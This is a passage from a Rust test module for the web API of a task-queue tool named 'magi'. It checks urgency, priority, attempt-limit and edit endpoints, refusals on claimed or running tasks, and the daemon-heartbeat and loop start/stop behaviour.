17739                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17740            assert_eq!(body.urgent, urgent);
17741        }
17742        for input in [
17743            r#"{}"#,
17744            r#"{"urgent":null}"#,
17745            r#"{"urgent":"true"}"#,
17746            r#"{"urgent":1}"#,
17747            r#"{"urgent":true,"extra":false}"#,
17748        ] {
17749            assert!(
17750                serde_json::from_str::<UrgentBody>(input).is_err(),
17751                "{input}"
17752            );
17753        }
17754    }
17755
17756    #[tokio::test]
17757    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17758        let home = TempDir::new().unwrap();
17759        let q = Queue::at(home.path().join("queue"));
17760        let ui = Arc::new(Ui::new(
17761            q.clone(),
17762            Questions::at(home.path().join("questions")),
17763            Talks::at(home.path().join("talks")),
17764            home.path().join("runs"),
17765            home.path().into(),
17766            home.path().into(),
17767        ));
17768        let mut task = Task::new(
17769            "urgent handler".into(),
17770            "keep".into(),
17771            home.path().into(),
17772            Source::Human,
17773        );
17774        for status in [TaskStatus::Queued, TaskStatus::Held] {
17775            task.status = status;
17776            q.put(&mut task).unwrap();
17777            for urgent in [true, true, false, false] {
17778                let saved = queue_urgent(
17779                    State(Arc::clone(&ui)),
17780                    Path(task.short().into()),
17781                    Ok(Json(UrgentBody { urgent })),
17782                )
17783                .await
17784                .unwrap();
17785                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17786                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17787            }
17788        }
17789        task.status = TaskStatus::Queued;
17790        q.put(&mut task).unwrap();
17791        let claim = q.claim(&task.id).unwrap();
17792        let error = queue_urgent(
17793            State(Arc::clone(&ui)),
17794            Path(task.id.clone()),
17795            Ok(Json(UrgentBody { urgent: true })),
17796        )
17797        .await
17798        .unwrap_err();
17799        assert_eq!(error.status, StatusCode::CONFLICT);
17800        assert!(error.message.contains("released"));
17801        drop(claim);
17802        for status in [
17803            TaskStatus::Running,
17804            TaskStatus::Done,
17805            TaskStatus::Failed,
17806            TaskStatus::Blocked,
17807            TaskStatus::Parked,
17808        ] {
17809            task.status = status;
17810            q.put(&mut task).unwrap();
17811            let error = queue_urgent(
17812                State(Arc::clone(&ui)),
17813                Path(task.id.clone()),
17814                Ok(Json(UrgentBody { urgent: false })),
17815            )
17816            .await
17817            .unwrap_err();
17818            assert_eq!(error.status, StatusCode::BAD_REQUEST);
17819            assert!(error.message.contains(status.as_str()));
17820        }
17821    }
17822
17823    #[tokio::test]
17824    async fn urgent_api_updates_preserves_and_validates_tasks() {
17825        let f = Fixture::start().await;
17826        let q = f.queue();
17827        let mut t = Task::new(
17828            "urgent API".into(),
17829            "unchanged".into(),
17830            PathBuf::from("/repo/magi"),
17831            Source::Human,
17832        );
17833        t.attempts = 2;
17834        t.priority = 9;
17835        t.interrupt = true;
17836        t.hold_reason = Some("waiting for approval".into());
17837        for status in [TaskStatus::Queued, TaskStatus::Held] {
17838            t.status = status;
17839            q.put(&mut t).unwrap();
17840            for urgent in [true, true, false, false] {
17841                let response = f
17842                    .post(
17843                        &format!("/api/queue/{}/urgent", t.short()),
17844                        Some(&format!("{{\"urgent\":{urgent}}}")),
17845                    )
17846                    .await;
17847                assert_eq!(response.status, 200, "{}", response.body);
17848                assert_eq!(response.json()["urgent"], urgent);
17849                let saved = q.get(&t.id).unwrap();
17850                let mut before = serde_json::to_value(&t).unwrap();
17851                let mut after = serde_json::to_value(saved).unwrap();
17852                before["urgent"] = urgent.into();
17853                before.as_object_mut().unwrap().remove("updated_at");
17854                after.as_object_mut().unwrap().remove("updated_at");
17855                assert_eq!(after, before);
17856            }
17857        }
17858        let route = format!("/api/queue/{}/urgent", t.id);
17859        for body in [
17860            r#"{}"#,
17861            r#"{"urgent":null}"#,
17862            r#"{"urgent":"true"}"#,
17863            r#"{"urgent":1}"#,
17864            r#"{"urgent":true,"extra":false}"#,
17865            "{",
17866        ] {
17867            assert_eq!(f.post(&route, Some(body)).await.status, 400);
17868        }
17869        t.status = TaskStatus::Queued;
17870        q.put(&mut t).unwrap();
17871        let claim = q.claim(&t.id).unwrap();
17872        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17873        assert_eq!(response.status, 409, "{}", response.body);
17874        assert!(!q.get(&t.id).unwrap().urgent);
17875        drop(claim);
17876        for status in [
17877            TaskStatus::Running,
17878            TaskStatus::Done,
17879            TaskStatus::Failed,
17880            TaskStatus::Blocked,
17881            TaskStatus::Parked,
17882        ] {
17883            t.status = status;
17884            q.put(&mut t).unwrap();
17885            for urgent in [true, false] {
17886                let response = f
17887                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17888                    .await;
17889                assert_eq!(response.status, 400, "{}", response.body);
17890                assert!(response.body.contains(status.as_str()));
17891                assert!(response.body.contains("queued or held"));
17892                assert!(!q.get(&t.id).unwrap().urgent);
17893            }
17894        }
17895        assert_eq!(
17896            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17897                .await
17898                .status,
17899            404
17900        );
17901    }
17902
17903    #[tokio::test]
17904    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17905        let f = Fixture::start().await;
17906        let queue = f.queue();
17907        let mut older = Task::new(
17908            "filed first".to_owned(),
17909            "x".to_owned(),
17910            PathBuf::from("/repo/magi"),
17911            Source::Human,
17912        );
17913        older.id = "20260101-000001-aaaa".to_owned();
17914        let mut newer = Task::new(
17915            "filed second".to_owned(),
17916            "x".to_owned(),
17917            PathBuf::from("/repo/magi"),
17918            Source::Human,
17919        );
17920        newer.id = "20260101-000002-bbbb".to_owned();
17921        queue.put(&mut older).expect("file older");
17922        queue.put(&mut newer).expect("file newer");
17923
17924        // Equal priority: the newer task leads, the same order the old
17925        // newest-first `list()` already gave every equal-priority queue.
17926        let before = f.get("/api/queue").await.json();
17927        assert_eq!(before[0]["id"], newer.id);
17928        assert_eq!(before[1]["id"], older.id);
17929
17930        // Raising the *older* task is the meaningful case: it can only lead
17931        // now because its priority says so, not because it happens to be
17932        // newest.
17933        let raised = f
17934            .post(
17935                &format!("/api/queue/{}/priority", older.id),
17936                Some(r#"{"priority":10}"#),
17937            )
17938            .await;
17939        assert_eq!(raised.status, 200, "{}", raised.body);
17940        assert_eq!(raised.json()["priority"], 10);
17941
17942        let after = f.get("/api/queue").await.json();
17943        let names: Vec<&str> = after
17944            .as_array()
17945            .unwrap()
17946            .iter()
17947            .map(|t| t["id"].as_str().unwrap())
17948            .collect();
17949        // Highest priority first, which is the order next_runnable and
17950        // `magi task list` both use - GET /api/queue must agree with it
17951        // immediately, not just once the loop claims the task.
17952        assert_eq!(names[0], older.id, "the raised task now sorts first");
17953    }
17954
17955    #[tokio::test]
17956    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17957        let dir = TempDir::new().unwrap();
17958        let q = Queue::at(dir.path().join("queue"));
17959        let ui = Arc::new(Ui::new(
17960            q.clone(),
17961            Questions::at(dir.path().join("questions")),
17962            Talks::at(dir.path().join("talks")),
17963            dir.path().join("runs"),
17964            dir.path().to_path_buf(),
17965            dir.path().to_path_buf(),
17966        ));
17967        let mut t = Task::new(
17968            "budget".into(),
17969            "keep".into(),
17970            dir.path().into(),
17971            Source::Human,
17972        );
17973        t.attempts = 2;
17974        t.runs.push("prior-run".into());
17975        t.hold_manual(Some("waiting".into()));
17976        q.put(&mut t).unwrap();
17977        let change = |value| {
17978            queue_attempt_limit(
17979                State(ui.clone()),
17980                Path(t.id.clone()),
17981                Ok(Json(AttemptLimitBody {
17982                    attempt_limit: value,
17983                })),
17984            )
17985        };
17986        for value in [
17987            serde_json::json!(3),
17988            serde_json::Value::Null,
17989            serde_json::json!(1),
17990        ] {
17991            let response = change(value.clone()).await.unwrap();
17992            assert_eq!(
17993                serde_json::to_value(response.0).unwrap()["attempt_limit"],
17994                value
17995            );
17996            let saved = q.get(&t.id).unwrap();
17997            assert_eq!(
17998                serde_json::to_value(&saved).unwrap()["attempt_limit"],
17999                value
18000            );
18001            assert_eq!(saved.status, TaskStatus::Held);
18002            assert_eq!(saved.attempts, t.attempts);
18003            assert_eq!(saved.runs, t.runs);
18004            assert_eq!(saved.hold_reason, t.hold_reason);
18005            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18006                .await
18007                .unwrap()
18008                .0;
18009            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18010            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18011            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18012            assert_eq!(outcome.max_attempts, detail.max_attempts);
18013        }
18014        for value in [
18015            serde_json::json!(0),
18016            serde_json::json!(-1),
18017            serde_json::json!(1.5),
18018            serde_json::json!("3"),
18019            serde_json::json!(true),
18020        ] {
18021            assert_eq!(
18022                change(value).await.err().unwrap().status,
18023                StatusCode::BAD_REQUEST
18024            );
18025        }
18026        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18027        let claim = q.claim(&t.id).unwrap();
18028        assert_eq!(
18029            change(serde_json::json!(4)).await.err().unwrap().status,
18030            StatusCode::CONFLICT
18031        );
18032        drop(claim);
18033        for status in [
18034            TaskStatus::Running,
18035            TaskStatus::Done,
18036            TaskStatus::Failed,
18037            TaskStatus::Blocked,
18038            TaskStatus::Parked,
18039        ] {
18040            let mut stored = q.get(&t.id).unwrap();
18041            stored.status = status;
18042            q.put(&mut stored).unwrap();
18043            assert_eq!(
18044                change(serde_json::json!(4)).await.err().unwrap().status,
18045                StatusCode::BAD_REQUEST
18046            );
18047            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18048        }
18049        let mut stored = q.get(&t.id).unwrap();
18050        stored.status = TaskStatus::Queued;
18051        q.put(&mut stored).unwrap();
18052        let _ = change(serde_json::Value::Null).await.unwrap();
18053        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18054    }
18055
18056    #[tokio::test]
18057    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18058        let dir = TempDir::new().unwrap();
18059        let repo = dir.path().join("repo");
18060        std::fs::create_dir(&repo).unwrap();
18061        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18062        let q = Queue::at(dir.path().join("queue"));
18063        let ui = Arc::new(Ui::new(
18064            q.clone(),
18065            Questions::at(dir.path().join("questions")),
18066            Talks::at(dir.path().join("talks")),
18067            dir.path().join("runs"),
18068            dir.path().to_path_buf(),
18069            repo.clone(),
18070        ));
18071        let mut t = Task::new(
18072            "seats".into(),
18073            "keep instruction".into(),
18074            repo,
18075            Source::Human,
18076        );
18077        t.runs.push("prior-run".into());
18078        t.hold_manual(Some("waiting".into()));
18079        q.put(&mut t).unwrap();
18080        let change = |count| {
18081            queue_implementers(
18082                State(ui.clone()),
18083                Path(t.id.clone()),
18084                Ok(Json(ImplementersBody {
18085                    implementers: count,
18086                })),
18087            )
18088        };
18089        for count in [2, 1, 2] {
18090            let response = change(count).await.unwrap();
18091            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18092            let saved = q.get(&t.id).unwrap();
18093            assert_eq!(saved.implementers(), Some(usize::from(count)));
18094            assert_eq!(saved.runs, t.runs);
18095            assert_eq!(saved.instruction, t.instruction);
18096        }
18097        for count in [0, 4] {
18098            assert_eq!(
18099                change(count).await.err().unwrap().status,
18100                StatusCode::BAD_REQUEST
18101            );
18102        }
18103        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18104        let claim = q.claim(&t.id).unwrap();
18105        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18106        drop(claim);
18107        for status in [
18108            TaskStatus::Running,
18109            TaskStatus::Done,
18110            TaskStatus::Failed,
18111            TaskStatus::Blocked,
18112            TaskStatus::Parked,
18113        ] {
18114            let mut stored = q.get(&t.id).unwrap();
18115            stored.status = status;
18116            q.put(&mut stored).unwrap();
18117            assert_eq!(
18118                change(1).await.err().unwrap().status,
18119                StatusCode::BAD_REQUEST
18120            );
18121            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18122        }
18123    }
18124
18125    #[tokio::test]
18126    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18127        let f = Fixture::start().await;
18128        let queue = f.queue();
18129        let mut task = Task::new(
18130            "in flight".to_owned(),
18131            "x".to_owned(),
18132            PathBuf::from("/repo/magi"),
18133            Source::Human,
18134        );
18135        task.start("20260902-140502-bbbb".to_owned());
18136        queue.put(&mut task).expect("file the task");
18137
18138        let res = f
18139            .post(
18140                &format!("/api/queue/{}/priority", task.id),
18141                Some(r#"{"priority":9}"#),
18142            )
18143            .await;
18144        assert_eq!(res.status, 400, "{}", res.body);
18145        assert!(
18146            res.json()["error"]
18147                .as_str()
18148                .is_some_and(|e| e.contains("running")),
18149            "{}",
18150            res.body
18151        );
18152        assert_eq!(
18153            queue.get(&task.id).expect("reload").priority,
18154            0,
18155            "the refused write must not partially apply"
18156        );
18157    }
18158
18159    #[tokio::test]
18160    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18161        let f = Fixture::start().await;
18162        let queue = f.queue();
18163        let mut task = Task::new(
18164            "old title".to_owned(),
18165            "old instruction".to_owned(),
18166            PathBuf::from("/repo/magi"),
18167            Source::Agent {
18168                run: "20260101-000000-beef".to_owned(),
18169                node: "implement".to_owned(),
18170            },
18171        );
18172        task.runs.push("20260101-000000-beef".to_owned());
18173        queue.put(&mut task).expect("file the task");
18174        let created_at = task.created_at;
18175
18176        let edited = f
18177            .post(
18178                &format!("/api/queue/{}/edit", task.id),
18179                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18180            )
18181            .await;
18182        assert_eq!(edited.status, 200, "{}", edited.body);
18183        let body = edited.json();
18184        assert_eq!(body["title"], "new title");
18185        assert_eq!(body["instruction"], "new instruction");
18186        assert_eq!(body["id"], task.id, "editing must not mint a new id");
18187        assert_eq!(body["created_at"], created_at.to_string());
18188        assert_eq!(
18189            body["source"]["kind"], "agent",
18190            "editing a task an agent filed must not turn it human: {body}"
18191        );
18192        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18193
18194        let reloaded = queue.get(&task.id).expect("reload");
18195        assert_eq!(reloaded.title, "new title");
18196        assert_eq!(reloaded.instruction, "new instruction");
18197    }
18198
18199    #[tokio::test]
18200    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18201        // The judge is an agent now: a repo whose only agent answers
18202        // "duplicate" stands in for it, so the refusal is the judge's.
18203        let tmp = TempDir::new().expect("tempdir");
18204        let repo = tmp.path().join("repo");
18205        std::fs::create_dir_all(&repo).expect("repo dir");
18206        let judge = MOCK_AGENT_TOML.replace(
18207            "printf ok",
18208            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18209        );
18210        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18211        let f = Fixture::with_repo(repo.clone()).await;
18212        let queue = f.queue();
18213        let mut owner = Task::new(
18214            "owner".to_owned(),
18215            "review it".to_owned(),
18216            repo.clone(),
18217            Source::Human,
18218        );
18219        owner.review_branch = Some("magi/ab12/A".to_owned());
18220        queue.put(&mut owner).expect("file the owner");
18221        let mut task = Task::new(
18222            "draft".to_owned(),
18223            "old".to_owned(),
18224            repo.clone(),
18225            Source::Human,
18226        );
18227        queue.put(&mut task).expect("file the draft");
18228        let url = format!("/api/queue/{}/edit", task.id);
18229
18230        let refused = f
18231            .post(
18232                &url,
18233                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18234            )
18235            .await;
18236        assert_eq!(refused.status, 409, "{}", refused.body);
18237        let msg = refused.json()["error"]
18238            .as_str()
18239            .unwrap_or_default()
18240            .to_owned();
18241        assert!(
18242            msg.contains("magi/ab12/A") && msg.contains("force"),
18243            "{msg}"
18244        );
18245        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18246
18247        let forced = f
18248            .post(
18249                &url,
18250                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18251            )
18252            .await;
18253        assert_eq!(forced.status, 200, "{}", forced.body);
18254    }
18255
18256    #[tokio::test]
18257    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18258        let f = Fixture::start().await;
18259        let queue = f.queue();
18260        let mut task = Task::new(
18261            "in flight".to_owned(),
18262            "do not touch".to_owned(),
18263            PathBuf::from("/repo/magi"),
18264            Source::Human,
18265        );
18266        task.start("20260902-140502-bbbb".to_owned());
18267        queue.put(&mut task).expect("file the task");
18268
18269        let res = f
18270            .post(
18271                &format!("/api/queue/{}/edit", task.id),
18272                Some(r#"{"title":"x","instruction":"y"}"#),
18273            )
18274            .await;
18275        assert_eq!(res.status, 400, "{}", res.body);
18276        assert!(
18277            res.json()["error"]
18278                .as_str()
18279                .is_some_and(|e| e.contains("running")),
18280            "{}",
18281            res.body
18282        );
18283        assert_eq!(
18284            queue.get(&task.id).expect("reload").instruction,
18285            "do not touch",
18286            "the refused edit must not change the file"
18287        );
18288    }
18289
18290    #[tokio::test]
18291    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18292        let f = Fixture::start().await;
18293        let queue = f.queue();
18294        let mut task = Task::new(
18295            "busy".to_owned(),
18296            "Running right now".to_owned(),
18297            PathBuf::from("/repo/magi"),
18298            Source::Human,
18299        );
18300        queue.put(&mut task).expect("file the task");
18301        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18302
18303        let priority = f
18304            .post(
18305                &format!("/api/queue/{}/priority", task.id),
18306                Some(r#"{"priority":9}"#),
18307            )
18308            .await;
18309        assert_eq!(priority.status, 409, "{}", priority.body);
18310
18311        let edit = f
18312            .post(
18313                &format!("/api/queue/{}/edit", task.id),
18314                Some(r#"{"title":"x","instruction":"y"}"#),
18315            )
18316            .await;
18317        assert_eq!(edit.status, 409, "{}", edit.body);
18318    }
18319
18320    #[tokio::test]
18321    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18322        let f = Fixture::start().await;
18323        let queue = f.queue();
18324        let mut task = Task::new(
18325            "shipped by hand".to_owned(),
18326            "merged outside the loop".to_owned(),
18327            PathBuf::from("/repo/magi"),
18328            Source::Agent {
18329                run: "20260101-000000-b455".to_owned(),
18330                node: "implement".to_owned(),
18331            },
18332        );
18333        task.runs.push("20260101-000000-b455".to_owned());
18334        task.runs.push("20260101-000000-9af4".to_owned());
18335        queue.put(&mut task).expect("file the task");
18336        let created_at = task.created_at;
18337
18338        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18339        assert_eq!(done.status, 200, "{}", done.body);
18340        assert_eq!(done.json()["status_str"], "done");
18341
18342        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18343        assert_eq!(
18344            reloaded.runs,
18345            ["20260101-000000-b455", "20260101-000000-9af4"]
18346        );
18347        assert_eq!(
18348            reloaded.source,
18349            Source::Agent {
18350                run: "20260101-000000-b455".to_owned(),
18351                node: "implement".to_owned(),
18352            }
18353        );
18354        assert_eq!(reloaded.created_at, created_at);
18355    }
18356
18357    #[tokio::test]
18358    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18359        // `done` is allowed on any status, including `held`, with no release
18360        // in between - so a task held for a reason and then closed directly
18361        // must not keep reading as "waiting on" it afterwards, on its card or
18362        // in `magi task show`.
18363        let f = Fixture::start().await;
18364        let queue = f.queue();
18365        let mut task = Task::new(
18366            "landed while held".to_owned(),
18367            "x".to_owned(),
18368            PathBuf::from("/repo/magi"),
18369            Source::Human,
18370        );
18371        task.hold_manual(Some("waiting on 3ed9".to_owned()));
18372        queue.put(&mut task).expect("file the held task");
18373
18374        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18375        assert_eq!(done.status, 200, "{}", done.body);
18376        assert_eq!(done.json()["status_str"], "done");
18377        assert!(
18378            done.json()["hold_reason"].is_null(),
18379            "a done task cannot still be waiting on something: {}",
18380            done.body
18381        );
18382    }
18383
18384    #[tokio::test]
18385    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18386        // `queue_done` is the phone's way to close a task the loop never
18387        // settled itself - after confirming a manual GitHub merge, say - and
18388        // that is just as much "this task's story is over" as the loop's own
18389        // `Merged`/`Ready` path, so it must trigger the same cleanup.
18390        let f = Fixture::start().await;
18391        let queue = f.queue();
18392        let runs = f.runs();
18393        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18394        // The last attempt has to have actually landed for the earlier one
18395        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
18396        // for the case where it didn't.
18397        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18398
18399        let mut task = Task::new(
18400            "landed by hand".to_owned(),
18401            "x".to_owned(),
18402            PathBuf::from("/repo/magi"),
18403            Source::Human,
18404        );
18405        task.runs.push("20260101-000000-doa1".to_owned());
18406        task.runs.push("20260101-000000-doa2".to_owned());
18407        queue.put(&mut task).expect("file the task");
18408
18409        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18410        assert_eq!(done.status, 200, "{}", done.body);
18411
18412        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18413            .expect("run still on disk under this fixture's own home");
18414        assert_eq!(
18415            reloaded_run.status,
18416            RunStatus::Superseded,
18417            "closing the task by hand must relabel the earlier blocked attempt exactly \
18418             like the loop's own settle path does"
18419        );
18420    }
18421
18422    #[tokio::test]
18423    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18424        // Closing a task by hand is allowed from any status, including one
18425        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
18426        // manual merge the loop never watched, say. Nothing here is provably
18427        // why the task is done, so nothing earlier gets relabelled either.
18428        let f = Fixture::start().await;
18429        let queue = f.queue();
18430        let runs = f.runs();
18431        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18432        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18433
18434        let mut task = Task::new(
18435            "closed with nothing actually landed".to_owned(),
18436            "x".to_owned(),
18437            PathBuf::from("/repo/magi"),
18438            Source::Human,
18439        );
18440        task.runs.push("20260101-000000-dob1".to_owned());
18441        task.runs.push("20260101-000000-dob2".to_owned());
18442        queue.put(&mut task).expect("file the task");
18443
18444        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18445        assert_eq!(done.status, 200, "{}", done.body);
18446
18447        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18448            .expect("run still on disk under this fixture's own home");
18449        assert_eq!(
18450            reloaded_run.status,
18451            RunStatus::Blocked,
18452            "the last recorded attempt never landed, so the earlier one must not be \
18453             relabelled as superseded by it"
18454        );
18455    }
18456
18457    #[tokio::test]
18458    async fn unknown_ids_are_json_not_found_on_both_stores() {
18459        let f = Fixture::start().await;
18460
18461        let run = f.get("/api/runs/nosuchrun").await;
18462        let task = f.post("/api/queue/nosuchtask/hold", None).await;
18463
18464        assert_eq!(run.status, 404);
18465        assert_eq!(task.status, 404);
18466        assert!(
18467            run.json()["error"]
18468                .as_str()
18469                .is_some_and(|e| e.contains("run")),
18470            "the error names what was not found: {}",
18471            run.body
18472        );
18473        assert!(
18474            task.json()["error"]
18475                .as_str()
18476                .is_some_and(|e| e.contains("task")),
18477            "the error names what was not found: {}",
18478            task.body
18479        );
18480    }
18481
18482    #[tokio::test]
18483    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18484        let f = Fixture::start().await;
18485
18486        let missing = f.get("/api/health").await.json();
18487        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18488
18489        write_daemon(
18490            f.home.path(),
18491            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18492        );
18493        let stale = f.get("/api/health").await.json();
18494        assert_eq!(
18495            stale["daemon"]["running"], false,
18496            "a minute without a heartbeat is a dead daemon, not a busy one"
18497        );
18498        assert!(
18499            stale["daemon"]["stale_for_secs"]
18500                .as_i64()
18501                .is_some_and(|s| s >= 55),
18502            "staleness is reported so the UI can say how long: {stale}"
18503        );
18504
18505        write_daemon(f.home.path(), Timestamp::now());
18506        let fresh = f.get("/api/health").await.json();
18507        assert_eq!(fresh["daemon"]["running"], true);
18508        assert_eq!(fresh["daemon"]["idle"], false);
18509        assert_eq!(fresh["daemon"]["pid"], 4242);
18510        assert_eq!(fresh["daemon"]["completed"], 7);
18511        assert_eq!(
18512            fresh["daemon"]["current"][0]["task"],
18513            "20260902-140501-aaaa"
18514        );
18515        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18516    }
18517
18518    #[tokio::test]
18519    async fn the_loop_is_not_running_until_something_starts_it() {
18520        let f = Fixture::start().await;
18521
18522        let view = f.get("/api/loop").await.json();
18523        assert_eq!(view["running"], false);
18524        assert_eq!(
18525            view["owned"], false,
18526            "nobody owns a loop that does not exist: {view}"
18527        );
18528        assert_eq!(view["stopping"], false);
18529        assert_eq!(view["last_error"], Value::Null);
18530        assert_eq!(view["daemon"]["running"], false);
18531        assert_eq!(
18532            view["repo"], "/repo/magi",
18533            "the repository a start would use, named before it is started"
18534        );
18535    }
18536
18537    #[tokio::test]
18538    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18539        let f = Fixture::start().await;
18540
18541        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18542        assert_eq!(res.status, 200, "{}", res.body);
18543        let view = res.json();
18544        assert_eq!(view["running"], true);
18545        assert_eq!(
18546            view["owned"], true,
18547            "the loop the UI started is the UI's own to stop: {view}"
18548        );
18549        assert_eq!(
18550            view["merge"],
18551            Value::Null,
18552            "no override was given, so each repository's own config decides"
18553        );
18554
18555        // The same object from the route a waking phone polls first. Two
18556        // surfaces disagreeing about whether anything is running is exactly
18557        // the confusion this UI exists to remove.
18558        let health = f.get("/api/health").await.json();
18559        assert_eq!(health["loop"]["running"], true, "{health}");
18560        assert_eq!(health["loop"]["owned"], true, "{health}");
18561
18562        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18563    }
18564
18565    #[tokio::test]
18566    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18567        let f = Fixture::start().await;
18568        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18569        assert_eq!(first.status, 200, "{}", first.body);
18570
18571        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18572        assert_eq!(
18573            again.status, 409,
18574            "two loops on one queue race for the same claims: {}",
18575            again.body
18576        );
18577        assert!(
18578            again.json()["error"]
18579                .as_str()
18580                .is_some_and(|e| e.contains("already running the loop")),
18581            "the refusal has to say why: {}",
18582            again.body
18583        );
18584        assert_eq!(
18585            f.get("/api/loop").await.json()["running"],
18586            true,
18587            "and the loop that was already running is untouched by it"
18588        );
18589
18590        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18591    }
18592
18593    #[tokio::test]
18594    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18595        let f = Fixture::start().await;
18596        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18597
18598        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18599        assert_eq!(
18600            res.status, 200,
18601            "the answer must not wait for the loop: a run in flight is tens of \
18602             minutes and the operator is holding a phone: {}",
18603            res.body
18604        );
18605
18606        let view = settled(&f, |v| v["running"] == false).await;
18607        assert_eq!(view["owned"], false);
18608        assert_eq!(
18609            view["stopping"], false,
18610            "a loop that has stopped is not still stopping: {view}"
18611        );
18612        assert_eq!(
18613            view["last_error"],
18614            Value::Null,
18615            "a loop that was asked to stop did not fail: {view}"
18616        );
18617
18618        // Idempotent, because the operator cannot tell a slow stop from a lost
18619        // one and will press it again.
18620        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18621        assert_eq!(twice.status, 200, "{}", twice.body);
18622    }
18623
18624    #[tokio::test]
18625    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18626        let f = Fixture::start().await;
18627        // How the operator has been doing it: a `magi serve` of their own,
18628        // heartbeat fresh, in the same home this UI reads.
18629        write_daemon(f.home.path(), Timestamp::now());
18630
18631        let view = f.get("/api/loop").await.json();
18632        assert_eq!(view["running"], false, "not in this process: {view}");
18633        assert_eq!(view["owned"], false, "and not this process's to control");
18634        assert_eq!(
18635            view["daemon"]["running"], true,
18636            "but a loop is alive somewhere, which is what the UI must say"
18637        );
18638        assert_eq!(view["daemon"]["pid"], 4242);
18639
18640        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18641            let res = f.post("/api/loop", Some(body)).await;
18642            assert_eq!(
18643                res.status, 409,
18644                "neither button may pretend to work on someone else's loop: {}",
18645                res.body
18646            );
18647            assert!(
18648                res.json()["error"]
18649                    .as_str()
18650                    .is_some_and(|e| e.contains("4242")),
18651                "the refusal has to name the process the operator must go to: {}",
18652                res.body
18653            );
18654        }
18655        assert_eq!(
18656            f.get("/api/loop").await.json()["running"],
18657            false,
18658            "and the refusal started nothing"
18659        );
18660    }
18661
18662    #[tokio::test]
18663    async fn a_stale_status_file_is_not_a_foreign_owner() {
18664        let f = Fixture::start().await;
18665        write_daemon(
18666            f.home.path(),
18667            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18668        );
18669
18670        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18671        assert_eq!(
18672            res.status, 200,
18673            "a daemon killed a minute ago must not lock the loop out of its \
18674             own home for good: {}",
18675            res.body
18676        );
18677        assert_eq!(res.json()["running"], true);
18678
18679        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18680    }
18681
18682    #[tokio::test]
18683    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18684        let f = Fixture::start().await;
18685        let before = f.get("/api/health").await.json()["loop_rev"]
